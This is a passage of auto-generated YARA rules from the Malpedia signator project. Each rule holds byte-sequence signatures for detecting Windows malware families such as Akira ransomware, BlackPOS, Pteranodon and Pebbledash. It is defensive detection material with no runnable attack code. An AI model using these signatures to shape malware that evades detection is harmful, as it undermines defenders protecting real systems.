		logic_hash = "01fac51b45c233a343e6af089564cab69dab8dfa8648336955517c666022b803"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4508 50 8d8de0fbffff 51 8d95f0fdffff 52 }
		$sequence_1 = { 668945e8 33c0 668945ea c745ee01000000 b804000000 }
		$sequence_2 = { 8d15341a4100 e8???????? 58 5a 5f 5e }
		$sequence_3 = { 33c5 8945fc b9???????? e8???????? c745c000000000 c745b400000000 }
		$sequence_4 = { c784055cffffff01000000 8d855cffffff 8945d5 8bf4 6a03 }
		$sequence_5 = { 7709 8b048514824100 5d c3 33c0 }
		$sequence_6 = { c705????????01000000 b904000000 6bd100 c78264a1410002000000 b804000000 6bc800 }
		$sequence_7 = { a1???????? 8985c4fbffff 8b0d???????? 898dc8fbffff 8b15???????? }
		$sequence_8 = { 668945e8 33c0 668945ea c745ee01000000 }
		$sequence_9 = { 51 e8???????? 85c0 7513 8b45f4 50 e8???????? }
	condition:
		7 of them and filesize < 257024
}

rule MALPEDIA_Win_Unidentified_102_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "68f5ede2-e772-5b9c-86c7-72da7d6ddaff"
		date = "2023-07-11"
		modified = "2023-07-15"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_102_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "7cf959abf8b06a75a101a66334f27ae5601df812c1ddb140fd9298ef735bb0dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20230705"
		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
		malpedia_version = "20230715"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6bd238 8b0c8d187b0410 88441129 8b0b 8bc1 c1f806 }
		$sequence_1 = { 83c408 8bb5e8fdffff 8dbdd8fdffff 83bdecfdffff10 c745b000000000 0f43bdd8fdffff }
		$sequence_2 = { 8bf3 6bf938 c1fe06 6a00 8b0cb5187b0410 ff740f24 }
		$sequence_3 = { 894610 c7461407000000 668906 e9???????? 837f1410 8bcf 7202 }
		$sequence_4 = { c785e4fbffff07000000 8d5102 668985d0fbffff 6690 668b01 83c102 6685c0 }
		$sequence_5 = { 8d85e8e7ffff 68???????? 50 ff15???????? 83c410 8d8594e7ffff 50 }
		$sequence_6 = { 0f1085b0fcffff 0f1100 8bc4 0f108590fcffff 51 0f1100 ff5228 }
		$sequence_7 = { 83c408 8b95dcfeffff 83fa10 722f 8b8dc8feffff 42 8bc1 }
		$sequence_8 = { 6a00 68???????? 6802000080 c785c8e7ffff3f000f00 ff15???????? 85c0 0f84ef000000 }
		$sequence_9 = { 8d45f4 64a300000000 8965f0 8b4510 8b4d18 8b5d0c }
	condition:
		7 of them and filesize < 626688
}

rule MALPEDIA_Win_Diceloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e4ad2ec4-b137-51c9-b85d-da5f37acfb45"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diceloader_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "1be6b9044c29cb995b59a77fc46c72f3850615efa951d1383ccf2030df818a85"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bcb e8???????? 4c634518 488d4c2420 4c03c3 41ffd0 }
		$sequence_1 = { ff15???????? 488bd7 488d0d14260000 e8???????? }
		$sequence_2 = { 8b5710 4c8d054f250000 488b4f08 41b91f000000 e8???????? }
		$sequence_3 = { 448b07 488d1569000000 8b5f04 488d0d4b1e0000 e8???????? 4885c0 7413 }
		$sequence_4 = { 0fb6c2 8a13 48c1e804 488b44c430 488941f8 }
		$sequence_5 = { ff15???????? 488b1e 4885db 7420 488b1b 498bd6 }
		$sequence_6 = { 440f4fe8 48035d48 418bd5 488d4b30 e8???????? 418bd5 8945e0 }
		$sequence_7 = { 488dac2450faffff 4881ecb0060000 4c8d3d7b250000 c705????????00000000 }
		$sequence_8 = { 448b541620 8b5c1624 4c03d2 4803da 4533c9 458d7901 458b02 }
		$sequence_9 = { 488bda 448bc1 488d1561ffffff 488d0d761d0000 e8???????? }
	condition:
		7 of them and filesize < 41984
}

rule MALPEDIA_Win_Pteranodon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "72fb35bc-9b29-55b2-a918-b3f0192a8f01"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pteranodon_auto.yar#L1-L175"
		license_url = "N/A"
		logic_hash = "563c856f09bd2595e0a91450a96a721d247fe131fa027b2937b641124422f09c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f81d 7cf1 eb07 8b0cc584d70210 894de4 85c9 7455 }
		$sequence_1 = { 8bcb e8???????? 83c41c 8d85a8f6ffff 50 6802020000 ff15???????? }
		$sequence_2 = { 6a00 6a00 56 68???????? ff15???????? 56 e8???????? }
		$sequence_3 = { 8b049de0874300 8b4de0 f644082801 7515 }
		$sequence_4 = { ff5018 8b5dd0 83e800 7409 83e801 }
		$sequence_5 = { e8???????? 68???????? 8d95a8f8ffff c645fc12 8d8d60f8ffff }
		$sequence_6 = { 894df8 8b048de0874300 33c9 41 897df0 }
		$sequence_7 = { eb0e 6a06 c74634789f4200 59 c6463c00 5f 894e38 }
		$sequence_8 = { c785fcfeffff6f002e00 c78500ffffff72007500 e8???????? 6800010000 8bf8 }
		$sequence_9 = { 83c408 83f8ff bbffffffff 0f455d08 eb06 8b4dec }
		$sequence_10 = { c685d8f8ffff00 e8???????? 8d85d8f8ffff c645fc22 50 }
		$sequence_11 = { e8???????? 8bc8 83c404 894de8 8b01 }
		$sequence_12 = { 8b55ec 8d45d8 8b4dd8 83fa10 8b75d4 0f43c1 2bf0 }
		$sequence_13 = { 663b88e0e60210 740d 83c002 83f814 72ef 33c0 40 }
		$sequence_14 = { 6a06 6a01 6a02 8b00 }
		$sequence_15 = { 68???????? 56 ff15???????? 68b0000000 8d853cffffff 6a00 50 }
	condition:
		7 of them and filesize < 499712
}

rule MALPEDIA_Win_Blackpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a3030926-9034-5a42-987b-de9e78e9dde5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackpos_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "c4a32b4f82fccb65e36ace8eee5711333479f2ae865afb2d6f3c995c606d80a9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8d85d0fcffff 50 56 ff15???????? }
		$sequence_1 = { 837e1400 0f8e94010000 83a5f8fffdff00 8b7e08 83661400 }
		$sequence_2 = { 8d7de0 f3a5 a4 be00020000 }
		$sequence_3 = { 8365bc00 8365c000 8945b4 8d45b4 50 }
		$sequence_4 = { 53 50 889db8fcffff e8???????? 57 68???????? }
		$sequence_5 = { f7f9 8b4dfc 5f 5e 5b 8bc2 }
		$sequence_6 = { 8a843dfefffdff 3ac1 7211 3c3a }
		$sequence_7 = { 803e00 7522 8d041f 6a01 8d8405e5fbffff 50 56 }
		$sequence_8 = { 8bc8 83e01f c1f905 c1e006 03048d60c45800 eb02 8bc2 }
		$sequence_9 = { 899dbcfaffff c785c0faffffa0bb0d00 c785c4faffff90854100 ffd7 8d85c4faffff 50 }
	condition:
		7 of them and filesize < 3293184
}

rule MALPEDIA_Win_Akira_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9957fbe0-0809-5ea9-92e6-35285e3e151d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.akira_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "3bec6caf716d6a1efb83aa954ea803db62de6e65cc0a5401d25e2d0c788df4d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb64718 8807 4863c1 48893cc2 e9???????? 0fb64718 8807 }
		$sequence_1 = { 498d4f18 e8???????? 84c0 742d 498d5718 488d8f18030000 }
		$sequence_2 = { 6642833c4000 75f5 488d559d 488d8de0080000 e8???????? 90 c645a700 }
		$sequence_3 = { e9???????? 488d8a20140000 e9???????? 488d8a40140000 e9???????? }
		$sequence_4 = { ffc3 48ffc0 4883f806 7cee 488bcf e8???????? 488b5c2450 }
		$sequence_5 = { 4883c108 488b01 48c70100000000 4889442460 bb04000000 4885f6 744e }
		$sequence_6 = { 0f8456ffffff eb05 4084f6 7407 41c60630 49ffc6 498bd4 }
		$sequence_7 = { 488bda 4533ed 41f7411800400000 7528 410f1000 0f2945c0 4c8b11 }
		$sequence_8 = { f00fc181a4000000 83f801 7506 e8???????? 90 488bc3 4883c420 }
		$sequence_9 = { 48895110 4c8bc7 418bd6 e8???????? 4088341f e9???????? 488bc7 }
	condition:
		7 of them and filesize < 1286144
}

rule MALPEDIA_Win_Dnespy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "99cbf088-6549-56a2-969b-60e6f7eba155"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnespy_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "4e1c2bd2efe3fbaf06ba8ff5d9f3d8607a9e5d8c5f87336409321d599b08c5ad"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b54240c a1???????? 89542414 81faff0f0000 762d 0f1f00 ff774c }
		$sequence_1 = { 83f80a 0f85e6080000 834608fc 8b55dc 85d2 791b 8bc2 }
		$sequence_2 = { 894618 837e0cff 7403 ff4e24 8bce e8???????? 8b4e0c }
		$sequence_3 = { 83f9ff 7245 880a 0facc108 c1e808 884a01 0facc108 }
		$sequence_4 = { 8975b4 c745b80f000000 c645a400 8d8de8feffff e8???????? 8b531c 83fa10 }
		$sequence_5 = { 33c9 c645fc02 8b45e4 85c0 0f95c1 8d0c8d04000000 034d10 }
		$sequence_6 = { e9???????? 6a00 57 53 ff762c 56 e8???????? }
		$sequence_7 = { 3bc3 7304 8bc3 eb0b 3dffffff3f 0f87ca000000 }
		$sequence_8 = { 8be8 8bc2 eb16 8b4618 53 ff761c }
		$sequence_9 = { 6a20 c745e400000000 e8???????? 0f104588 8bc8 c745e400000000 8b45b0 }
	condition:
		7 of them and filesize < 794624
}

rule MALPEDIA_Win_Zumanek_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "87aee693-fd24-5045-ad68-bbf967fca577"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zumanek_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "692948458546aa7f1172f720f7a047815fbd39df276c694923c84a71f1135e40"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { fc 81fe382e9330 97 e412 3dd16312c9 103f 0800 }
		$sequence_1 = { 8802 98 811212242434 48 3c91 4a }
		$sequence_2 = { 894612 4d 2454 48 5b 91 }
		$sequence_3 = { 71ef 1a6f35 e30b 5d fc 77f2 f1 }
		$sequence_4 = { 1dba45e22f 91 7c8b e459 0920 122424 }
		$sequence_5 = { 386b95 4c 53 196a17 }
		$sequence_6 = { 4a e8???????? 86b71986f742 06 58 4c 8812 }
		$sequence_7 = { c101f6 53 32b879629b65 76a2 43 fc }
		$sequence_8 = { d9c3 ab 5f c50f 9d 54 f233591b }
		$sequence_9 = { 5a c59cd53a93a658 98 9f f5 6b80e7fa856bb2 55 }
	condition:
		7 of them and filesize < 58867712
}

rule MALPEDIA_Win_Lowkey_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3f77a0d8-5e74-59a7-b36b-5b8da053f1d8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowkey_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "d5431f0409ef1f2ee256c5cdc4b5f0e543f06b3c2bf47f27531adb7ea173b9db"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8bf2 488d8d70010000 33d2 41b800020000 e8???????? }
		$sequence_1 = { 83bb7004000002 0f848d010000 83cfff 488d2db7310100 83635000 83632c00 e9???????? }
		$sequence_2 = { 498bc2 458bf1 48c1f806 488d0df41e0300 4183e23f 4d03f0 }
		$sequence_3 = { 3b15???????? 7350 488bca 4c8d05c9230300 83e13f 488bc2 }
		$sequence_4 = { 48898424d0000000 4533c0 488b4708 488bd5 48898424e0000000 }
		$sequence_5 = { 488b0d???????? 488b5210 488b8900040000 ff15???????? 488b15???????? 4533c0 }
		$sequence_6 = { 85c0 0f94c3 8bc3 488b4c2478 }
		$sequence_7 = { 33d2 488bc8 ff15???????? 488d1556260200 }
		$sequence_8 = { 488bcf e8???????? 488d4df7 e8???????? 488d155cfd0100 488d4df7 e8???????? }
		$sequence_9 = { 488d15c10d0200 4533c0 48895c2420 488b01 ff5020 488b4c2450 4c8d4de8 }
	condition:
		7 of them and filesize < 643072
}

rule MALPEDIA_Win_Tidepool_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "79b9a91d-2f80-54a4-850d-1eac43bf12cc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tidepool_auto.yar#L1-L262"
		license_url = "N/A"
		logic_hash = "a70dd848875168b4bad1ed7e445677eb0934ca243a590965d7d194a18350ca55"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5f 5e 5b 8b8d00030000 }
		$sequence_1 = { 8b8d00030000 33cd e8???????? 81c504030000 }
		$sequence_2 = { 6a00 50 8b08 ff91a4000000 }
		$sequence_3 = { 8bc6 5e c20400 80790800 c701???????? 740e 8b4904 }
		$sequence_4 = { 53 6a02 8bf1 e8???????? }
		$sequence_5 = { 83c40c 803d????????37 7518 68???????? }
		$sequence_6 = { 6800000040 8d4500 50 ff15???????? }
		$sequence_7 = { 83e906 51 83c006 50 6a02 }
		$sequence_8 = { 681f000200 56 68???????? 6801000080 }
		$sequence_9 = { 5e 5f 5b c9 c3 ff25???????? 51 }
		$sequence_10 = { e8???????? 68???????? 68???????? 68???????? 8d4500 }
		$sequence_11 = { 75f9 b8???????? b900000400 c60000 40 49 }
		$sequence_12 = { 8b08 ff91a4000000 8b4654 6a01 }
		$sequence_13 = { 8d5658 52 50 ff91d0000000 }
		$sequence_14 = { 6810270000 ff15???????? 8b45ec 8b08 }
		$sequence_15 = { 7509 8b4654 50 8b08 ff5138 47 }
		$sequence_16 = { 40 49 75f9 b8???????? b900000400 }
		$sequence_17 = { 8d45ec 50 681f000200 53 68???????? }
		$sequence_18 = { 56 8bf1 e8???????? 8b4654 6a00 }
		$sequence_19 = { 6802020000 ff15???????? 68???????? ff15???????? 8bf8 }
		$sequence_20 = { 2bca 33d2 85c9 894c2410 89542414 }
		$sequence_21 = { 89442424 7e13 51 8d542428 }
		$sequence_22 = { ff75ec ff15???????? 8b35???????? 6a04 }
		$sequence_23 = { 53 50 ff75f8 ff75e4 ff75fc ff15???????? }
		$sequence_24 = { 7504 802000 4b 57 }
		$sequence_25 = { 59 ff15???????? 8b4df8 8945d8 8b45fc 8d840832010000 }
		$sequence_26 = { 56 e8???????? 8b7d08 57 e8???????? d1e0 }
		$sequence_27 = { 895dd4 895dac 895de0 885def 895de8 66ab }
		$sequence_28 = { 3bf3 7e16 e8???????? 6a1a }
	condition:
		7 of them and filesize < 1998848
}

rule MALPEDIA_Win_Pebbledash_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e5b2e91f-ba86-5aee-a150-1a0e9285e25b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pebbledash_auto.yar#L1-L181"
		license_url = "N/A"
		logic_hash = "e36d4a9a300e40c4a3570c6f2230ff5d0e8e8c772444b2ae33bda786b301ae99"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 b9???????? e8???????? 85c0 7514 }
		$sequence_1 = { 5e c3 55 8b6c2408 56 33f6 8b4d00 }
		$sequence_2 = { e8???????? 6888130000 ff15???????? b9???????? e8???????? 68???????? e8???????? }
		$sequence_3 = { 832000 a1???????? a3???????? c3 8b442404 a3???????? }
		$sequence_4 = { 5b 5e 5f c9 c3 6a01 ff742408 }
		$sequence_5 = { e8???????? 33d2 b90e000000 f7f1 }
		$sequence_6 = { 6829080000 68???????? 68???????? e8???????? }
		$sequence_7 = { 5e c3 55 8bec 833d????????00 750f }
		$sequence_8 = { 41894e04 0fb64209 0fb64a08 c1e108 0bc8 0fb6420a c1e108 }
		$sequence_9 = { 4c8bf1 488bf1 85c0 bd01000000 0f44c5 41c1e008 8905???????? }
		$sequence_10 = { c1e108 0bc8 0fb6420b c1e108 0bc8 41894e08 0fb6420d }
		$sequence_11 = { 0fb64201 4c8db100010000 0fb63a 4c8d258fdaffff 440fb65a04 4d8be8 440fb64a08 }
		$sequence_12 = { 66420f6e4ccb10 4b8d0c5b 660f6e5ccb10 4183c308 4c8d0440 66420f6e54c310 8d47ff }
		$sequence_13 = { 41c1e008 8905???????? 0fb64201 440bc0 0fb64202 41c1e008 }
		$sequence_14 = { 415e 415d 415c 5d c3 498bcc e8???????? }
		$sequence_15 = { e8???????? 488b0d???????? 33d2 ffd0 85c0 }
	condition:
		7 of them and filesize < 677888
}

rule MALPEDIA_Win_Shortleash_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b69c5abe-5ff2-5cda-b15d-4ffaeea772b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shortleash"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shortleash_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "7625917da117618d50239e800ec3508d722326f3509a4fb7631eb7833bd5c208"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff10 83c8ff f00fc1430c 83f801 750c 488b4c2450 488b01 }
		$sequence_1 = { e9???????? 4055 4883ec20 488bea ba90000000 488b4d30 e8???????? }
		$sequence_2 = { f30f7f4de8 4533f6 4c8975f8 418d4e10 e8???????? 488bd8 488d45d8 }
		$sequence_3 = { e9???????? 488d15d5580200 488bcf e8???????? 85c0 7504 488d7706 }
		$sequence_4 = { e8???????? 488bd0 488d4c2440 e8???????? 90 488b8eb0000000 e8???????? }
		$sequence_5 = { eb09 4c394810 7453 488b00 493b00 75f2 4d8b00 }
		$sequence_6 = { b910000000 e8???????? 488906 488d0d0e020000 488d1533090000 48895308 48890b }
		$sequence_7 = { ff15???????? 488b542458 488bcb e8???????? 488b542450 488d4b08 e8???????? }
		$sequence_8 = { e8???????? 8bf0 85c0 0f8548010000 488b4530 4c8d8348010000 482b8390000000 }
		$sequence_9 = { ff15???????? 4839b3a8000000 7442 488bcb e8???????? 488b8ba8000000 e8???????? }
	condition:
		7 of them and filesize < 2415616
}

rule MALPEDIA_Win_Xdspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "54110d73-619a-59d4-a80b-7be8436504a7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xdspy_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "6256dc971ecf3bb6744674fefad5e90a83cd8cf7acf2f0addd47bba093a56e7a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85b0510000 50 e8???????? 8d85b0510000 50 897da4 }
		$sequence_1 = { 5e e8???????? c9 c3 53 56 68???????? }
		$sequence_2 = { e8???????? 8d851cd1ffff 50 e8???????? ff35???????? 8d851cd1ffff 50 }
		$sequence_3 = { 89459c ff15???????? 85c0 7413 ff15???????? 3db7000000 7506 }
		$sequence_4 = { 56 8bf8 e8???????? 83c410 8bd8 85ff }
		$sequence_5 = { 85f6 0f84ba000000 8975e0 8b04bd804e4100 0500080000 3bf0 }
		$sequence_6 = { c3 8bff 56 57 33ff 8db730074100 }
		$sequence_7 = { e8???????? 68ff000000 e8???????? 59 59 8b7508 8d34f548044100 }
		$sequence_8 = { 0f8514010000 83fb01 0f850b010000 e8???????? 488d8dc0130000 ff15???????? }
		$sequence_9 = { 88840d80070000 488d4901 84c0 75e8 80bd8007000000 488d8580070000 }
		$sequence_10 = { 48898424c0000000 4889bc24c8000000 488d8c2480000000 ff15???????? }
		$sequence_11 = { 4983e801 75ea b801000000 8d501f 6690 }
		$sequence_12 = { 880413 48ffc3 4883fb0e 7cea }
		$sequence_13 = { 75e8 488bcb 0f1f440000 420fb684399c941700 }
		$sequence_14 = { 7413 0f1f840000000000 fe08 488d4001 403838 75f5 }
		$sequence_15 = { e8???????? 488b05???????? 488d15853a0100 488bcb 83e13f }
	condition:
		7 of them and filesize < 3244032
}

rule MALPEDIA_Win_Unidentified_003_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d98d47b0-9a51-53ac-b838-c109a79a3c60"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_003_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "a77ee5178781b22b88b059404b849af3a08c098d4327a0118f9c2d73b7bfb28c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b8???????? 2b05???????? ff7006 50 50 8d442464 50 }
		$sequence_1 = { 7561 6a00 68???????? 8d45f0 e8???????? }
		$sequence_2 = { 0f8312020000 8dbdf1fdffff 2bf9 8a11 88140f 41 84d2 }
		$sequence_3 = { 85c0 75b5 8d45f4 50 8d85e3fbffff 50 }
		$sequence_4 = { 395de0 0f8421010000 8b45e0 8b08 50 }
		$sequence_5 = { bb01000080 53 ff15???????? 6a22 58 668985f0fbffff 33c0 }
		$sequence_6 = { 3bc3 7468 3d00100400 741c 3d10100400 7415 3d00100600 }
		$sequence_7 = { ff45fc 8b45fc 8145f80c020000 81c718040000 3b45f0 0f8238ffffff eb07 }
		$sequence_8 = { 8b45a4 3bc3 7464 8945d8 33c0 8d7dac ab }
		$sequence_9 = { 56 e8???????? 59 59 85c0 7408 c60000 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Gotohttp_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7d06cfe0-00c5-5a49-9ea7-3f35cccfbcba"
		date = "2026-01-05"
		modified = "2026-01-06"
